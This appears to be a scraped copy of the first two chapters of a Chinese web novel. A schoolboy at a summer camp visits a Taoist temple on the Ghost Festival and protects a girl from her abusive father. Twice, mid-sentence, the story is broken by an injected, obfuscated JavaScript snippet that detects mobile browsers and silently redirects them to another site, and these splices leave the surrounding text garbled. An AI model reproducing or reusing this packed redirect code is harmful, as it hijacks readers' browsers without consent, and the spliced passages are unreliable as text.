《男高在赛博地府当判官》 1. 首发文学城1 清泽湖畔。 这个季节正好落在蝉鸣的尾声,不久前接连下了三天的大雨,空气中现在还带着几分凉爽。 锦川中学暑期开设了夏令营,部分被锦中拟录取的准高一学生,在家里猫嫌狗憎,就被父母报名后塞进夏令营里。 今天三班的活动正是清扫清泽湖。 这会儿清泽湖边上聚集着不少学生,少年人三三两两结队,手里都拿着打扫工具,一边说笑打闹一边拾捡地上的生活垃圾。 “你们听说过清泽湖的事情吗?”收拾好垃圾,一个少年神秘兮兮地对四周的同学说。 十六七岁的孩子正是好奇心旺盛的阶段,他这么一开头,顿时有不少人追问:“好啊你许航,还卖上关子了,快说说是什么事?” “我知道!”人群中扎着马尾辫的小姑娘扬声举手,在众人的注视下指向清泽湖中央修葺的凉亭:“网上都说,清泽湖下边镇压了一条龙!” “喏,就在那座凉亭下边。” 大家忍不住朝凉亭看过去,咂摸着嘴有些失望,原来是这么个事,他们中不少人都听说过这个传言。 “切。”当即有人表示扫兴,“锦川谁不知道清泽湖下边有龙啊,这都多少年前的传闻了。” 一开始挑起话头的许航伸出一根手指来,当着大家的面晃了晃:“nonono~我可知道其中的内幕!” 像是怕他们不信,许航拍拍胸脯向他们保证:“清泽湖是在我七岁那年人工挖掘的,当时负责这项工程的正是我爷爷。” 清泽湖是十年前建成的,地段就在锦川市中心,这周边经济一直以来都十分繁荣,左靠世纪城,世纪中心左边又是远近闻名的灵妙观。 这地方从挖掘的那天开始,各种玄之又玄的事就开始层出不穷地发生,这整个片区在锦川是出了名的神秘。 提起清泽湖的传说,就是狗来了都会好奇地听上一耳朵。 虽然大家都还没正式开学,但经过这几天在夏令营的相处,所有人都知道许航的家境很不错,他也不是个爱撒谎的人,如果他爷爷真的是当时清泽湖的负责人…… “那你快说说,你都知道些什么内幕?”马尾辫小姑娘米雅雅又激动又好奇。 许航转身踩上身后的长椅,居高临下,满意地看着同学们好奇的视线,伸手老神在在地摸了摸自己并不存在的胡须,跟电视剧里说书人似的开口:“据说啊,原本那条龙不在清泽湖,而是在世纪城里!” 他站在高处,说话的音量很大,动来动去影子飘忽,长椅前后都有座位,两边共享同一个靠背,许航站在前边,大家视线被他吸引,都没注意到后边还躺了个人。 崔砚迷迷糊糊睁开眼睛,就瞧见对面背着他黑压压围了八九个人,困意都惊得丢了几分。 少年人头发意外留得很长,白白净净一张脸暴露在阳光下,唇红齿白,身上穿着再普通不过的长袖长裤,胸前的口袋上挂着一支笔,白色的衣摆有股皂角香,令他整个人看上去就像是一张干净的宣纸。 柔软,普通,仿佛绵密的细雨落入春池一般自然而不起眼。 当然,不惹眼的前提是不看他那张好看的脸。 “哈——欠。”少年在无人注意的角落打了个哈欠,揉揉被长椅咯疼的脑袋,崔砚默默挪动着站起来,随后望向喋喋不休的许航。 崔砚习惯性抽笔在指尖绕来绕去,转得跟花似的,听许航声情并茂地讲故事。 “你们可能不知道,世纪城其实是锦川最大的风水局。”许航神秘地压低声音:“其实像我爷爷他们这种搞建筑的,多多少少都会点风水上的东西,在他们业内,都把之前的世纪城叫做……‘官才城’。” 官才官才,棺材的内涵叫法。 世纪城的主体建筑四方而落,自南北方向呈现长方形,而稍短的两侧又被设计成了拱形……这看上去不就是个妥妥的巨型棺材? 许航:“据说在锦川发展起来,这块地方是座巨大的坟场,呃……用古战场来形容可能更恰当一点。” 大家都是学过古代史的,能被锦中拟录取也不会脑袋空空,知识在脑海中搜索一遍后,米雅雅双眼发亮:“你说的是三千年前那个付国?” 锦川在三千年前曾是付国的国都,这个国家在历史上只存在了短短的八十年,随后就被匈奴的铁骑踏破,最后一战惨败后国都被屠城,下至百姓上至君王无一生还。 而付国最后一任皇帝,则自刎于宫墙之上。 “皇帝,那可是天子,自古以来殉城的皇帝也只有这么一个,据说在他死后付国龙气就被永远镇压在了地下。”许航用手指了指脚下。 天子惨死,龙气动荡,这么些年这条龙被压在下边怨气一天大过一天,只等一个契机就能破土而出。 “60年7月我刚满七岁,锦川先是地震后是暴雨,短时间内又出现了传染速度极快的病毒,虽然当时我年龄小,但还记得政府焦头烂额的样子,当时发生的天灾半年也没得到解决,直到后边清泽湖建成。” “传言是那条龙醒后作祟,被高人从世纪城引入清泽湖,这才搞定它。”许航如是说。 他故事讲得不错,绘声绘色,气氛营造的非常到位,即使是在大白天,还是听得人忍不住起鸡皮疙瘩。 米雅雅搓了搓胳膊,发现故事的遗漏,“等一下,为什么引入清泽湖就没事了?这跟世纪城棺材的形状又有什么关系?” 许航故事讲得零碎,一些细节也衔接不上,经米雅雅这么一问,大家也觉得漏洞不少。 许航被问得直挠头,显然无法作答,最后只摆摆手打哈哈:“这些我爷爷都没告诉我,你们要是想知道,我周末回去问问。” 大家都当他在吹牛了,于是一扫方才的惊悚,有人开玩笑:“得了吧你,我听说过的清泽湖的传说有不下十八个版本,你这一版稍微有点一般。” “我可没随便编故事!”许航嚷嚷。 但同学们追问世纪城更多的细节,许航又的确知之甚少,于是这个话题就这么匆匆结束了。 讲完故事,许航正要从椅子上下来,米雅雅眼角余光注意到长椅背后有人,于是出声提醒:“许航你背后好像有人,小心点别踩到了。” 许航一惊,连忙向后看过去,没成想还真见到有人。 大家视线挪过去的时候,崔砚正好转身背对他们伸了个懒腰,他没跟大部队一起拾捡垃圾,一个人游离在边缘,忙活一早上后腰都有点麻木了。 崔砚没打招呼,也没说什么话,等大家都注意到他的时候,人已经走出好几米远,准备重新找个长椅歇会儿。 少年身量修长,长发扎成利落的马尾,行走也慢慢悠悠,正午的阳光从树梢照下来,影影绰绰地落在他肩头。 大家微微吸气。 单凭个背影就能窥见几分好颜色,有个男生忍不住问:“那个女生也是夏令营的?” 这会儿临近十二点,清泽湖边上没什么人,大家回想着,但却不记得有在班上见过这么个同学。 许航一贯消息灵通,他脑子活泛,很快就记起来崔砚是谁,开口的语气稍微有些迷幻:“呃……他好像是个男的。” “男的?”询问的那个男同学一嗓子吼出来差点破音,“他看上去头发比米雅雅还长,怎么会是个男的?” “我也不知道啊。” 许航两手一摊:“可能有什么原因吧,要不你去问问?” 说话的男生摆摆手:“别别别……” 夏令营开班到现在也有半个月了,这个年纪的孩子正是跟谁都能交上朋友的时候,三班二十来个人基本都互相说过话,但除开许航还真没人对崔砚有印象。 不主动社交,也会尽量避免被动社交,崔砚走到哪里都在努力做个透明人,他这样做的效果也十分拔群,现在去班上问一圈,怕是连带班老师可能都对他的印象不深。 许航能知道他的名字,还是因为开班报道那天他特意早来了半个小时,想当第一个到班上的人,却没料到撞见比他更早一步的崔砚。 当时对方脑后扎起长发,许航一时间社交技能发动,还将崔砚误认成了身材高挑的女生,开口就是一句“小姐姐”,直到崔砚转身开口,许航看清了少年的模样,这才发现自己闹了个大乌龙。 他尴了个尬,又见崔砚看上去社交兴致不高,最后非常识趣地默默滚到了一边。 等在班级名册上签到的时候,许航看到在他之前的“崔砚”二字,这才知道对方的姓名。 他见过崔砚的正脸,无论哪个年纪的人都是爱美的,许航原以为崔砚这样的人会在整个夏令营掀起不小的浪潮,但却没想到对方后续在班上却像是个透明人一样,这还让许航费解了许久。 后来夏令营的活动正式看开展起来,许航交到许多新朋友,时间都被占据,这才将崔砚的事情抛诸脑后。 对于自己掀起了怎样的风波毫不知情,崔砚手里提溜着装垃圾的塑料袋,在另外一头的长椅上躺下没多久,日头愈发烈起来时,代班老师见时间差不多,叫班上的学生结束准备集了。 三班总共二十八名学生,大家统一将自己的垃圾袋丢在集中处理的地方,等老师检查完打扫的区域后,再挨个清点人数。 人一集中起来,学生交头接耳的动作就开始变多,米雅雅偏头问许航:“我记得早上集合的时候,老师说午饭统一吃,你知不知道待会儿咱们会去哪里?” 许航咂咂嘴,摸着下巴道:“不清楚,周老师没有提前通知,但我想肯定不会太远,毕竟咱们还得走着去,不然大家在这儿捡垃圾累了一上午,还得走老远去吃饭,谁来了都顶不住啊。” 人群之外,被遗忘的少年缓缓走过来,站到最后边刚巧听见自己的名字。 “崔砚……”叫到名字发现没人回应,于是代班老师扬声又叫了一遍:“崔砚!” “到。” 清亮的少年声线压住将起的骚动,周老师重复清点了一次,见全员到齐,于是道:“下午是大家的自由活动时间,但只能在灵妙观周围走动,学校已经跟灵妙观负责人沟通过,大家的午饭也会在观里解决。” 前边的学生听完高兴起来,嘴里一时间叽叽喳喳个不停。 “我爷奶比较迷信,两人都经常去灵妙观烧香,早上他们出门的时候我好像听说今天灵妙观有什么活动。”许航说。 米雅雅想了想,转头看了一眼手机屏幕上的时间,恍然道:“呀,今天是农历七月十五。” 七月半,民间传统的鬼节。 话题逐渐开始往灵异方向跑偏,二十几名学生的脸上都带了点跃跃欲试,周老师见状拍拍手,道:“大家准备出发,排好队形别走散了。” 灵妙观就在清泽湖边上,距离不过一公里,中间隔了个世纪城,穿过去就能见到在门口排着长队的人群。 看着观门口的人山人海,有学生感叹:“好多人啊。” 周老师让三班的学生原地待着不要动,自己越过人群,找到门口正在等待的小道士交涉。 作为目前三班表面上的灵魂人物,大家纷纷凑过去问许航:“今天怎么这么多人,灵妙观在搞什么活动?” 信这些的是许航爷奶,他自己本身倒是不太感兴趣,一知半解的也不知道怎么说,于是就悄摸趁老师还没回来,随机戳一名排队的老爷爷。 “大爷,灵妙观今天怎么这么多人?”许航自来熟地套了两句近乎,随后开问。 大爷笑呵呵道:“今天七月半,灵妙观施孤啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187243|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔砚站在二十多人的右侧,靠近灵妙观的香客们,两人交谈的内容他听得一清二楚。 崔砚是早产儿,从小身体就不太好,大病没有但小病不断,一直到四岁都还没办法独立上幼儿园。 他外婆是灵妙观的常客,爷奶的爱好职业也跟迷信二字多少沾点关系,崔砚出生在清明节当天凌晨四点,时间十分敏感,于是外婆跟他爷奶一拍即合,背着他爸妈带着四岁的小崔砚去戳了耳洞。 崔砚的外婆说,他出生时间全阴,这样的命格偏偏是个男孩,只能戳耳洞,蓄长发,当成个女孩儿来养,以做到瞒天过海。 也不知是巧合,还是他外婆做的这些奏效了,往后的日子里崔砚的身体果真好了起来,只偶尔生些小感冒,直到顺利进入幼儿园。 崔砚的好转肉眼可见,以至于原先对他外婆的作为十分不理解的父母,过后也不再反对。 对于灵妙观,崔砚更是常客,以往外婆身体还硬朗时,他逢年过节总会被拉着来灵妙观拜一拜,以求来年身体康健平安顺遂。 如果许航再细心一些,就能发现灵妙观门口的功德碑上,捐款前两行的善信名单里,就有崔砚的名字。 施孤?崔砚听见这两个字动作微顿,他倒忘记今天竟是七月半了。 于是暗叹一声倒霉。 那边周老师很快带着灵妙观的小师傅走了过来,老大爷明显认识对方,于是拱手招呼道:“忘凡小师父。” 忘凡拢住双手同样颔首回礼:“冯施主。” 夏令营跟灵妙观有合作,忘凡在大家好奇的视线下微微笑了笑,随后领着三班的人往灵妙观里走去。 四周排队的香客看过来,见一群学生越过人群而去,私下问询几声后也没再关注,都将心思放在了灵妙观的施孤上。 崔砚不近不远地跟在队伍末端,周老师看见有心想提醒两句让他别掉队,但估摸着他观察过的学生性格,也知道崔砚生性比较孤僻,好在并不叛逆,思索后也就不再管,只是注意力稍稍多放些在他身上。 正因为崔砚走在队伍最后,忘凡才没注意到他。 许航没来得及再问问那大爷施孤是个什么,这边就不得不重新跟上大部队,但他心思活络,眼珠子一转就摸索到了队伍最前头,跟在周老师和忘凡身后。 忘凡是个脾气很好的小道士,他也不比这些学生年长几岁,余光注意到许航好奇的视线,便回头笑着问:“这位同学有什么想问的吗?” 突然被提及,许航对上忘凡的眼神,一时间有些不好意思,于是学着刚才那老大爷的动作,做了个不伦不类的揖,顶着周老师的目光问:“那个……我看今天灵妙观很热闹,所以想问问施孤是什么意思?” 忘凡恍然,随后朝主殿门口的大香炉看过去,尽量用他们能明白的词汇概括:“历来七月半都是鬼节,诸位家中每到这天都会祭祖,应该也有所了解。” “施孤,施的是那些无人祭奠的孤魂野鬼。” 大家不知不觉间已经将忘凡围在中间,崔砚不紧不慢地站在外沿,闻言看向殿门前的香案桌与香炉。 那香炉大约四人环抱,中央已经点上了数不清的香烛,案上贡品种类繁多,像是一场小型法事,背靠灵妙观供奉的主神斗姆元君,前边信徒排列开来,香炉中已积攒了厚重的燃灰,显然已经经过了数轮祭祀。 如果不是外婆最近身体不太好,而崔砚又被爸妈塞进了这个夏令营交朋友,今日正午施孤的香客中也该能见到他们两人。 说多了就是迷信,所以忘凡没有延伸开说。 实际上施孤对于道观来讲只是寻常的布施行为,以慰今日鬼门开后游荡的孤苦野鬼,但香客加入一方面算是替自己积阴德,另一方面也是在替家中已故长辈考虑。 希望施孤后,孤魂野鬼不会再争抢自家长辈的供奉,能多加照应更好。 而崔砚跟他外婆每年参与灵妙观的施孤,更多的是为了崔砚自己。 多积攒阴德,与神鬼交善,望他诸邪莫侵。 夏令营组织这一次的灵妙观活动,是因为灵妙观已经在近几年发展成了锦川的地标,也算是政府扶持的项目,其建筑也处处彰显中式美学,飞檐,吞脊,月梁,斗拱……很适合带学生来感受一下。 周老师在建筑方面多少有些了解,原本备课也是准备给学生讲讲灵妙观的建筑,但没想到许航开头之后,大家对传统道教的兴趣空前,忘凡被缠着讲了些道家尊神的来历与事迹,大家听得津津有味。 听忘凡讲了这么多故事,许航伸手指了指主殿的方向,问:“忘凡道长,那里边是哪位……”尊神? 但他话还没说完,一只手从侧后方伸出,将他举起来的手给压下,许航没来得及看是谁,对方很快就收回了手,他只看见了一晃而过的白。 忘凡见状没有第一时间回答,而是对着主殿的方向双手抱拳,与眉齐平,随后躬身长揖,口中念念有词后道:“……元君莫怪。” 大家都好奇地看着忘凡的动作,忘凡结束后才转身对许航说:“不可对尊神不敬。” 这说的是许航刚才手指神明的动作,他后知后觉地挠挠头,对忘凡尴尬道:“不好意思,我没有不敬的意思……” 忘凡摇摇头,反而安慰他:“没关系,我已经替你道过歉了,元君脾气好,不知者不罪。” 他说的玄乎,刚才的动作和态度也十分唬人,纵使大家生长在红旗下,坚信建国后不许成精,也不由得有些犯怵,于是纷纷手脚规矩起来。 许航立刻连话也不说了,缩在人群中间,在心里对主殿上供奉的神明说了一万句对不起,随后视线忍不住在后边寻找起来,余光瞥见留着长发的少年。 刚才把他手压下去的人……是崔砚? 2. 首发文学城2 许航有心想要问问,但崔砚却没分给他丝毫注意力,边上有学生挤过来,又把对方从他身后隔开很远。 虽说现在讲究个无神论,但尊重对方习俗和信仰也是基本礼貌,周老师知道冒犯尊神在道观里不是小事,自家学生犯了蠢,他也有些不好意思,忙正色起来,约束好三班学生的言行。 “许航,”周老师着重点名他:“好好走路,别再捣蛋了!” 于是许航也没功夫再思考刚才拉住他的是不是崔砚了,连忙伸手指天发誓:“老师我知道错了。” 忘凡道长摇摇头笑道:“无心之举,元君应当不会怪罪你。” 随后他继续讲述部分道家文化,于是这件小插曲一晃而过,很快就被大家抛诸脑后。 今日道观施孤,往来香客云集,现场实在是有太多人了,灵妙观修行的道士不多,个个都在殿前忙碌,看上去人手紧缺的样子。 忘凡也没耽误多久时间,简单介绍了一下灵妙观供奉的神明,把人带到地方后,对周老师拱了拱手,语气有些抱歉:“时间不早,里边的师父已经准备好学生们的午饭,香客那边还需要我去帮忙,就不打扰你们了。” 周老师点点头:“忘凡道长去忙吧,学生这里我会安排好。” 等忘凡走后,学生们才好意思大方谈论道观,有的人刚才听得一知半解,这会儿还掏出手机点开搜索软件。 主殿外香客闹腾,食堂里学生的动静也窸窸窣窣,两头都很热闹,崔砚进来后又悄然一个人坐在角落,百无聊赖。 负责做饭的师傅也是观里修行的道长,只是明显比忘凡要年长很多,面相平和,一眼看上去就慈眉善目。 学生们自发去领了自己的午饭,聚集在一起坐下,他们说着话,崔砚起身的时候没有任何人注意到。 厨房窗口和餐桌有一段距离,他到窗口的时候,做饭的道长才看清来人,于是笑弯了一双眼睛,有些惊讶:“今天怎么是你一个人来,杜婆婆呢?” “外婆前两个月摔了一跤,还没好全,暂时没办法出门走动,所以今年就不来了。”崔砚说。 闻言道长稍稍蹙眉,放下手里的锅铲后五指一掐,像是有些费解:“不应当啊,正月杜婆婆在观里求了符,是师父亲自画的,今岁该是无病无灾的平安年,怎么会出现意外?” 意外发生谁也没料到,灵妙观的符远近闻名,一贯都很灵验,这次却出现了滑铁卢,崔砚摇摇头表示不知。 “好在问题不算严重,外婆身体恢复得很好,只是还需要再好好静养一段时间。” “应该的,”道长点头:“等杜婆婆好了,你们再来观里一趟,我等会儿去师父那儿帮你问问。” 崔砚:“多谢。” 另一边大家热闹说话的时候,许航余光注意到窗口边的崔砚,他有些诧异崔砚竟然跟道长在交谈,像是早就认识一样,但他还没来得及多看两眼,就听见外边传来一阵骚动。 香客排队虽然热闹,但并没有人大声喧哗,只是不知道这会儿出了什么意外,说话声越来越大,倒像是有人在争吵。 大家一时好奇,速度快已经吃完饭的,就收拾好碗筷往门口探头去看。 无论男女老少,华国人爱看热闹的天性都是刻在骨子里的,大家纷纷朝门口跑过去,就连周老师都没能叫住。 崔砚和道长也放下手里的东西,把注意力放在争吵传来的方向。 “怎么回事,怎么回事?”饭堂的门就这么大,三个人就能挤得满满当当,有学生在后边只能看到黑乎乎的后脑勺,急得像热锅上的蚂蚁,一个劲问发生了什么。 怕前边的骚动闹太大,波及到这边的孩子们,周老师表情严肃地要求学生原地呆着,远远地看一眼可以,但不允许出去凑热闹。 “不知道啊!”许航的声音差点淹没在外边的喧闹中,他有心想要看清,但顶着周老师的死亡视线愣是不敢冒头,只能说:“但好像不是啥大事。” 从前殿到这边需要绕过一堵功德墙,厚重的墙阻挡了大半的视线,那边也只有刚开始闹腾了一下,但很快又没了动静,应该是灵妙观的道长出面平息了。 施孤的队伍再次变得有序,香灰的轻薄檀香在空气中慢悠悠升腾,随后大伙儿的视线中撞入个矮小的身影。 对方跌跌撞撞地从墙外跑来,弯着腰,明显是怀里藏着东西,但没想到迎面碰见一大群学生,到跟前后瞬间愣住了。 也正是这短暂愣神的功夫,让大伙儿看清了他的样子——一个瘦弱的小孩。 那小孩身上穿着短袖短裤,碎发不长不短,令人忍不住怀疑理发师的技术是不是跟狗学的。 衣服黑灰色的布料洗的有些泛白,总体来说是个有些潦草但很干净的小孩儿。 黑衣服小孩儿在灵妙观里穿来穿去,明显对观里地形很熟悉,应该是这里的常客,匆忙跑到这儿来估计是想溜走,但时运不济撞见了三班的学生。 二十几个年龄大上许多的哥哥姐姐拦在面前,那小孩儿的眼神中有慌乱一闪而过,但紧接着慌乱就变成了惊恐——一双手拽住了她的衣领。 “别跑太快了,小心跌倒。” 还未见到人,但温和的声音先进了耳朵,被提溜住的小孩儿听见这声音后松了口气,但仍旧没有放松警惕。 忘凡握住小孩儿的肩膀,令她站稳,见许航一群人好奇地看着他,黑压压一片人头堆砌着,不由得嘴角微抽。 一阵脚步声急急传来,忘凡也没工夫再管学生们,他把小孩儿拦在自己身后,听见中年男子的声音愤怒而至:“东西都偷到灵妙观里来了,还不快给老子滚回去!” 听到这个声音,刚才的小孩儿瞬间浑身紧绷,警惕拉满,又把自己的身体往忘凡背后躲了躲,她双唇紧闭一言不发,明显十分害怕眼前的中年男人。 似乎是没想到在场的人这么多,中年男人在见到忘凡和崔砚一行人后,脸上的怒意稍微克制了些,但语气照样强硬:“把东西还给道长,跟我回家!” “我不要!”尽管很害怕愤怒的中年男人,但那小孩还是大声反驳。 她的反抗更加激怒对方,男人袖子一撸就要伸手来抓人,一边大声道:“反了你,老子是你爹!” 见状,忘凡没有却让开,他穿着藏青色的道袍,头顶挽好髻,脸上表情很淡,没有了刚才面对学生时的笑意,只提醒面前失态的人道:“王先生,观中是清修的地方,在神明注视下,还请不要大声喧哗。” 男人的手还没抓到小孩儿,就被忘凡挡了回去,小道士的力道看上去不大,但是四两拨千斤,轻飘飘地差点把那男的掀个趔瘸。 一句神明的注视,吓得对方脸色忽然煞白,连忘凡推搡的动作都没去追究,着急道:“忘凡道长见谅!我就是太生气了,忽然见到这个逆女,一时间没控制住脾气……” 想起自己这趟的目的,男人也不敢再大声说话了,连忙双手合十拜了拜,对忘凡求着:“家里最近被那个老鬼闹得家宅不宁,我老婆现在都还没出院,实在是没办法了,您看看能不能请李道长走一趟——” 忘凡及时制止了对方接下来的话:“王先生慎言。” “灵妙观是政府扶持项目,目的是宣传非遗弘扬传统文化,”忘凡看着王先生,轻轻道:“不可宣扬封建迷信。” 王先生:“……啊?” 前一秒还在告诫神明正在注视你的道士,下一秒说出封建迷信要不得……这一下给王先生干蒙了。 “忘凡道长这是在开玩笑吗?”等回过神后,王先生语气有些不悦。 灵妙观表面上只是个吉祥物般的景点,但锦川的人都知道观里道士都是有真本事的,特别是观主李不卓,虽然每次来找李不卓的那些人言行都十分低调,但是周身气质一看就不简单,权钱至少都能沾上一半。 有钱有势的人都不是傻子,不会被个空架子骗得团团转,他们不远万里都要来灵妙观,可想而知李不卓的本事有多大。 而灵妙观也经常做慈善,就像这次的施孤,广大信众捐助的善款李不卓都会公布出来,择日往贫困的地方至少捐出一半。 不只是有钱人,无权无势的人即使身无分文,也能找到李不卓出手,正是因为有他这样的大善之人在,灵妙观才会有如此多的香客。 忘凡不帮忙,王先生不会觉得是自己的问题,他的视线落在道士身后躲起来的小女孩身上,一时间显得表情有些凶神恶煞,这模样,别说是年纪不大的小姑娘了,就连不远处看热闹的学生们都觉得可怕。 “在家偷东西就算了,连灵妙观的东西你都敢偷,惹得道长生气,看我不打死你!” 来往灵妙观的人多少都有些信仰,不会在神明面前作恶,忘凡还是第一次见到王先生这样的人,他伸手要去阻拦。 但小姑娘大概是习惯了被如此对待,打心眼里警惕每一个成年人,她下意识从忘凡神后跑开,踉踉跄跄着也不忘护好怀里的东西。 这么一来,却令她失去庇护,整个人都暴露在王先生的视线中,小孩子怎么逃得开大人的手,她很快就被王先生追上了。 虽然不知全貌,但是就凭王先生对自己的孩子口出恶言,还动辄打骂来看,都能断定他不是个好人,三班的学生一时上头,撸起袖子就要冲上去,但被周老师拦住了。 “你们凑什么热闹?”周老师低声呵斥,用眼神叫退学生后,自己先走了出去。 小姑娘没料到周老师会站出来,她看到对方高大的身形后瞳孔骤缩,紧接着被周老师伸手的动作吓到,脚下一绊就狠狠朝地上摔去。 “小心!”大家根本来不及帮忙,只能眼睁睁看着对方摔倒。 小姑娘的反应力并不快,身体朝地上坠去时只能咬牙闭上双眼,但预想中的疼痛却并没有降临,她只觉得自己的脖子一紧,后脖颈的衣服就被攥住——一道坚定的力量抓住了她。 瘦弱的身躯站起来后反而被带了个趔瘸,歪倒在一个出乎意料温暖的怀抱里,随后浅淡的清香像摇篮一般将她整个围拢。 香气清浅,若即若离地缠绕着,像早春时盈满晨露的枝头,意料之外先开出的第一抹粉白。 小姑娘下意识朝抱着她的人看过去,但对方比她高出太多,又没有低头看下来,于是只能窥见下半张苍白单薄的脸,如玉如纸,仿佛一碰便会碎。 于是她忽然间不知道自己的手该放哪儿,甚至怕自己营养不良轻飘飘的身子压坏对方,忧心忡忡:“谢谢姐姐……你还好吗?” 她说完后明显感受到对方的怀抱一顿,随后自己就被提溜开,明显的少年气声线落在耳畔。 “叫哥哥。” 这声音一出来,小姑娘才察觉自己认错了,顿时表情有些窘迫,她支支吾吾着想要纠正,但抬头却只见到对方单薄的下巴,少年的视线落在他面前。 “卧槽,好快的速度!”那一瞬间大家都看傻眼了,人群中爆发出感叹声,随后粗口又被周老师的死亡注视给盯回了肚子里。 许航是亲眼见到自己身侧有人影闪过,随后十米开外的小孩儿就被对方提溜了起来,那样快的速度甚至差点连他眼睛都没反应过来,看着面前的长发白衣,他倒吸一口气,惊声:“崔砚?!” 其他同学都露出迷茫的眼神,米雅雅一拍手恍然开口:“是刚才那个长头发男生?” “原来他叫崔砚。”米雅雅咂咂嘴,这名字还怪好听的。 周老师没料到班上会有人出头,确切来说是没聊到出头的会是崔砚。 作为三班的带班老师,其他学生或许不知道崔砚,但他手里拿着所有人的资料,又通过这么多天的观察,发觉崔砚是个特别低调的人,他不爱参与集体活动,平时的存在感也特别低,看上去并不爱招惹是非。 虽然惊讶,但周老师还是第一时间站出去,拦在学生跟王先生中间,防止因为他们的插手,让王先生做出了什么不理智的事情。 而崔砚余光瞥见周老师,索性松开手,转身朝人群后走回去,这一次大家却没有再忽视他,一个个都跟看神奇动物一样目送崔砚,直到少年的身形消失在后头。 大家自觉扭头盯着别人看不太礼貌,也就只能遗憾地收回视线。 忘凡一整天忙得团团转,这会儿崔砚主动现身他才注意到,眼神有些惊讶,但随后他表情沉沉,语气也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187244|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相比于刚才更加严肃,这时候他还能双手合住礼貌性一揖。 “殿后不接待游客与信众,王先生有什么事也请先离开这里。” 他虽然语调平和,但任谁来听都能听出其中的强硬,王先生一瞬间脑子清醒了,表情闪现一丝懊恼,磕巴一句:“我女儿她……” “我不要你管!”小姑娘顿时急了,她这会儿倒是会挑路,扭头就朝三班的学生跑过去,一众半大孩子脑子还没反应过来,手就先护着她了。 那小姑娘这钻一下那儿钻一下,从缝隙里穿过,眼睛终于搜寻到熟悉的面孔,这才放慢速度凑过去,安静地待在对方身边。 崔砚看一眼身侧的小萝卜头:“……” 忘凡对此视而不见,只是微笑看着王先生。 女儿不见了但王先生好像一点也不关心,反而焦急地看着忘凡,他知道自己刚才忘形得罪了忘凡,但他还有求于灵妙观,于是也不敢再大小声。 “那我去前边再等等,追凶一事,假如等会儿李道长有空了,再麻烦忘凡道长帮忙说一声。” 忘凡没有答应也没有反对,对王先生伸手:“请。” 等忘凡跟王先生都不见之后,捕捉到两人谈话的关键字眼,大家一时间也没功夫再注意崔砚,凑到一起窃窃私语。 “追凶,什么是追凶?” 周老师有点头疼地看着他们,一想到等会让得让这些姑娘小子自由活动,太阳穴就突突地跳,只能重复跟他们强调着规矩。 大家自然满口答应,一边承诺自己会乖乖地,一边还在讨论追凶是个什么东西。 趁着没人注意,许航悄悄溜出前排,挤到人群后边找到崔砚在哪儿,然后鬼鬼祟祟地摸了过去。 崔砚原本还在跟小姑娘大眼瞪小眼,转头又注意到跟上来的许航,他跟许航四目相对. 许航咧嘴:“嘿嘿。” 崔砚:“……”这谁? 崔砚一贯跟人不深交,他和三班的学生说话不超过三句,也对许航没什么映像。 许航不知道崔砚的想法,他操着独属于e人的强大社交能力,自认一个眼神对视后就算朋友了,悄咪咪问:“你知道追凶是啥吗?” 崔砚:“……” 虽然他的确知道,但为什么这人会想到来问他?崔砚眼神有些奇特地看着许航。 许航好像看懂了崔砚的眼神,表情有些得意:“我刚刚看到你跟忘凡道长眼神交流了,你俩认识吧?” 他平时就喜欢观察别人,刚好注意到了忘凡看向崔砚的视线,那反应明显不是第一次见。 “灵妙观是干啥的大家都知道,你又跟忘凡道长认识,想必也是个高人。”许航说着就对崔砚竖起大拇指。 毕竟就他来看,刚才崔砚闪出去的那个速度,根本就不是他们这个年纪的普通人能轻易做到的,从初见起崔砚在许航眼中就蒙上了一层神奇的色彩,他会这么想也没毛病。 如果是之前的话,许航还真不会大着胆子找崔砚问,毕竟两人刚见面的时候他认错性别着实尴尬,但经过刚才的事,他发觉崔砚心地善良,可能是个面冷内热的人。 崔砚不知道许航的脑回路百转千回,但人都已经凑上来了,他也没有驳对方面子,道:“知道。” 崔砚语气不疾不徐,语速听的很舒心,尾音咬字带着些锦川地方口音,显得人特别好接近,但说出口的话却令人不寒而栗。 “追凶,通俗来讲是追查凶煞,一般针对的都是死后怨气深重,频频作祟不愿离去的厉鬼。” 他分明说话很和缓,表情也很平静,但却仍旧让许航忍不住起了一手臂的鸡皮疙瘩,连后背都有些发麻。 “厉、厉鬼?”尽管压低了音量,但许航还是有些破音。 看着他这样,崔砚嘴角微不可查地上翘了些。 前边周老师的声音放大,扬声叮嘱:“自由活动的范围只能是灵妙观,离开需要跟我报告,观里许多建筑都值得观赏,大家拿好自己的笔记本,可以把今天的见闻都记下来,明天交一篇500字观后感。” “又要写观后感?”学生们发出阵阵哀嚎。 崔砚从后腰处拿出别着的笔记本,掸了掸封皮,跟在队伍后被周老师带去殿前。 许航还想接着问,但却被接下来的行动打断。 殿前仍旧人来人往,案桌后巨大的香炉里又换上了新香,里边香灰积累上厚厚一层,空气里都弥漫着古朴的檀香,令人闻着心旷神怡。 大殿开着门,中央坐着慈眉善目的神明金身,平静地注视门前络绎不绝的信徒。 崔砚不是第一次来灵妙观,也不是第一次见这位神明,但却不知道为什么这一回心中却有些别样的感觉,他下意识抬头注视大殿,眼前却骤然被金身晃了一下。 像是他的错觉。 崔砚眨了眨眼睛,再看却没发现任何异常。 